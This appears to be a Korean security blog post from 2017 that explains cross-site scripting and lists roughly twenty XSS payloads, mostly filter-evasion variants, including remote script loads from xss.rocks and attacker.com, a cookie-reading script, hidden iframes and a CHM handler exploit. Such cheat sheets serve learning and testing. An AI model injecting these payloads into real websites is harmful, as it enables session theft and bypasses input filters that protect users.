ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Cross Site Scripting (XSS)
    보안 2017. 12. 1. 13:35

    Cross Site Scripting (XSS)


    특정페이지에 스크립트를 넣어서 세션을 가로채거나 공격자가 의도한대로 행동하도록 만드는 웹 공격의 일종



    <공격 예시>


    - String.fromCharCode() 함수 삽입

    - String.fromCharCode()함수를 사용하여 URL 정보를 인코딩 하는 기법이며, 일반 문자열을 10진수로 표기하여 관리자의 가독성을 떨어뜨린다.


    <script>alert(String.fromCharCode(116, 101, 115, 116))</script>


    - www.test.com/test?input=<script>alert('XSS Attack!');</script>


    - 웹사이트에서 <script>와 같은 치명적인 문자열을 한번 제외시킨다고 가정하면


    <scr<script>ipt>alert("xss");</scr</script>ipt>


    이와 같은 형태의 공격을 해볼 수 있다.

    - 스크립트 태그에 악성 스크립트의 주소를 넣어서 공격


    <SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>


    스크립트 내용


    /* This file is based on the file from http://ha.ckers.org/xss.js

    It has been reproduced here due to the extended downtime of ha.ckers.org

    This file is being hosted as a courtesy to the security community.

    */


    document.write ("This is remote text via xss.js located at xss.rocks " + document.cookie);


    alert ("This is remote text via xss.js located at xss.rocks " + document.cookie);





    - 관련 없는 괄호(<) 삽입


    <<SCRIPT>alert("XSS");//<</SCRIPT>



    - 닫는 스크립트 태그가 없는 경우

    <SCRIPT SRC=http://xss.rocks/xss.js?< B >



    - <Img src = x onerror = "javascript: window.onerror = alert; throw XSS">





    - 특정 웹사이트 접속하게 하기


    <svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script




    -             >"'><script>alert(4249)</script>


    - 취약 속성사용이 가능할 때 의미없는 태그 사용


    <x onclick=alert(1)>

    <b onkeyup=alert(1)>


    - object 태그와 ITS 프로토콜 핸들러에 의한 chm처리시의 취약점을 이용


    object width=0 height=0 style=display:none; type=text/xscriptlet" Data=mk:@MSITStore:mhtml:c:\no.mht!http://sample.com/exploit_chm::exploit.html></script>


    -     '">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)>



    -     <img src=x        onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108            &#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">




    - 쿠키 조작

    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">


    -  <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>



    - <script><iframe src="http://sample.com/~bbx/hack.htm" name="Click here~" width="0" height="0" frameborder="0"></iframe></script>


    - <script><a href="http://sample.com/comment.cli?comment=<script src='http://attacker.com/maliciouscode'></script>">Oh My God!!</a> </script>



    - <img scr="#" onmouseover="alert(1);">


    - <img onclick='var s="aler"+"t(al"+"ert"+"(1));";eval(s);'>


    - <script>와 <iframe> 태그를 필터링 한다고 가정하면

    <scri<iframe>pt>alert("xss");</scrip<iframe>t>

    이 경우 <script>를 먼져 제외시키고 <iframe> 태크를 제외시킨다.


    - <video src=1 onerror=alert('XSS')>


    '보안' 카테고리의 다른 글

    SQL Injection  (0) 2017.11.17

    댓글

Designed by Tistory.